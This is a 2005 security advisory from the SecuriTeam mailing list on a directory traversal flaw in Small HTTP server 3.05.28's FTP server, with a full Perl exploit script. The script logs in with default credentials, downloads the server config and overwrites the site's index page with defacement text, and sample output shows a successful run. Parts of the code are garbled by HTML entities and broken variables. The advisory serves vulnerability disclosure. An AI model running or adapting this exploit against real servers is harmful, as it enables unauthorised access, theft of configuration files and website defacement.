[NT] sHTTP FTPServer Directory Traversal

2005-07-22T00:00:00
ID SECURITYVULNS:DOC:9257
Type securityvulns
Reporter Securityvulns
Modified 2005-07-22T00:00:00

Description

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html


sHTTP FTPServer Directory Traversal

SUMMARY

" <http://home.lanck.net/mf/srv/index.htm> Small HTTP server utility turns your computer into a fully functional Web-server. "

The FTP server support of Small HTTP server contains a directory traversal vulnerability that allow remote attackers to access files that would be otherwise inaccessible.

DETAILS

Vulnerable Systems: * Small HTTP server version 3.05.28

Exploit:

!/usr/bin/perl

sHTTP FTPServer Abritary Data Execution Exploit

--------------------------------------------------

Infam0us Gr0up - Securiti Research

E:\PERL>perl shttp.pl localhost C:\shttps

[?] Version: libwww-perl-5.76

[+] Connect to localhost...

[+] Connected

[+] Send user and pass..

[+] Logged in!

[+] Directory List:

. | 0

.. | 0

uninst.exe | 3072

http.exe | 78848

desc.htm | 42788

license.txt | 1804

http.cfg | 1616

www | 0

1.txt | 41

[+] Getting FTP config..[OK]

[+] Backup target file..[OK]

[+] Set homepage defacement..[DONE]

[*] 0wned!

Tested on Windows2000 SP4 (Win NT)

info: infamous.2hell.com

use LWP;

$subject = "sHTTP FTPServer Abritary Data Execution Exploit"; $vers = "Small HTTP server 3.05.28"; $vendor = "http://srv.mf.inc.ru"; $codz = "basher13 - basher13(at)linuxmail.org";

if(@ARGV!=2){ print "\n"; print " $subject\n"; print "-------------------------------------------------\n\n"; print "Usage: $0 [remote IP] [dir_path] \n"; print "Exam: $0 127.0.0.1 c:\\shttps \n\n"; exit; }

use Net::FTP; use IO::Dir; use Tk;

$target = $ARGV[0]; $path = $ARGV[1];

Modify $text to changes the default homepage

$text = "<title>PENETRATION TEST</title>Subject: $subject<br>Version: $vers<br>URL: $vendor<br>Coders: $codz";

my $user = "admin"; # Changes USER to own feed my $pass = "ftp"; # Changes PASS to own feed

$cols=1000000;

print "\n"; print "-------------------------------------------------------\n"; print "[?] Version: libwww-perl-$LWP::VERSION\n"; sleep(2); print "[+] Connect to $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect: $!";

print "[+] Connected\n"; print "[+] Send user and pass..\n"; $ftp->login($user, $pass) || die "could not login: $!"; sleep(1);

print "[+] Logged in!\n"; print "[+] Directory List: \n\n"; sleep(2);

tie %dir, IO::Dir, $path; foreach (keys %dir) { print $, " | " , $dir{$}->size,"\n"; }

print "\n"; print "[+] Getting FTP config.."; sleep(1);

$ftp->get("http.cfg") or die "Get failed ", $ftp->message;

print "[OK]\n"; print "[+] Backup target file.."; sleep(2);

$dirpath = "$path\\www\\index.htm";

$lama = $dirpath; $baru = "$dirpath.BAK.$$(basher13)";

open(OLD, "< $lama") or die "FAILED to open $lama\n[-] Reason: Try on another place..\n"; open(NEW, "> $baru") or die "can't open $baru: $!\n";

while (<OLD>) { s/\b(p)earl\b/${1}erl/i; (print NEW $_) or die "FAILED to write to $baru\n[-] Reason: Server has secure permission\n"; } close(OLD) or die "FAILED to close $lama\n"; close(NEW) or die "can't close $baru\n";

print "[OK]\n"; print "[+] Set homepage defacement.."; sleep(2);

open(OUT, ">$dirpath") or die("unable to open $dirpath: $!"); open FH, ">$dirpath"; print FH "$text"; print "[DONE]\n"; close FH;

print "[*] 0wned!\n"; $ftp->quit; print "-------------------------------------------------------\n"; my $mw = MainWindow->new(-title => 'INFO',); my $var;

my $opt = $mw-&gt;Optionmenu&#40;

            -options =&gt; [qw&#40;&#41;],
            -command =&gt; sub { print &quot;&#92;n[&gt;]: &quot;, shift, &quot;&#92;n&quot; },
            -variable =&gt; &#92;$var,
            &#41;-&gt;pack;
$opt-&gt;addOptions&#40;[- Subject=&gt;$subject],[- Version=&gt;$vers],[-

Vendor=>$vendor],[- Coder=>$codz]); $mw->Button(-text=>'CLOSE', -command=>sub{$mw->destroy})->pack; MainLoop;

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org> eric basher.

========================================

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.